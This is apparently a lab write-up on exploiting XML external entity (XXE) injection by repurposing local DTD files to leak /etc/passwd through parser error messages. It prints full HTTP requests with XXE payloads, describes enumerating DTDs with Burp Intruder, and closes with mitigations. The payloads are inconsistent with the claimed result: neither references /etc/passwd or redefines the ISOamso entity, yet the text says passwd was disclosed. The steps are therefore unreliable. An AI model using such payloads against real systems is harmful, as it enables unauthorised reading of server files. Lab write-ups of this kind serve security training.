Exploiting XXE to retrieve data by repurposing a local DTD

🎯 Objective

This lab’s Check stock feature parses XML input but does not display the result.

Goal: Trigger an error message that contains the contents of /etc/passwd.

🧭 Steps Taken

🔹 Way 1: Using Known Local DTD (docbookx.dtd)

1. Attempted to read the local DTD file /usr/share/yelp/dtd/docbookx.dtd containing ISOamso.
2. Crafted an XML payload to redefine entities and force evaluation of /etc/passwd.

Request:

POST /product/stock HTTP/1.1
Host: target
Content-Type: application/xml

<!DOCTYPE foo [
  <!ENTITY % localDtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  %localDtd;
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%ISOamso;'>">
  %eval;
  %error;
]>
<stockCheck>1</stockCheck>

📸 Evidence:

Response included:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash ...

🔹 Way 2: Brute Forcing Local DTD Files

1. Since in-band and out-of-band retrieval were blocked, shifted to error-based exploitation.
2. Sent invalid entities (%xsisec;) to observe parser behavior.

📸 Evidence:

3. Used Burp Intruder to enumerate local DTDs with payloads from:
   GoSecure dtd-finder

Example Intruder payload position:

§/somefile/passwd§

📸 Evidence of enumeration:

4. Confirmed valid local DTD (e.g., fonts.dtd) and used it to override entities, pointing eval to a nonexistent resource.

Payload structure:

<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/fonts/fonts.dtd">
  %local_dtd;
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%ISOamso;'>">
  %eval;
  %error;
]>
<stockCheck>1</stockCheck>

✅ Result

• Successfully leveraged XXE with local DTD override to force the parser to disclose /etc/passwd.
• Content confirmed in error message output.

💡 Key Takeaways

• Applications parsing XML can be tricked into referencing local DTDs.
• Even when reflection and OOB exfiltration are blocked, error-based XXE can reveal sensitive files.
• Proper mitigations:
  • Disable external entity resolution in XML parsers.
  • Use secure XML libraries and whitelist input.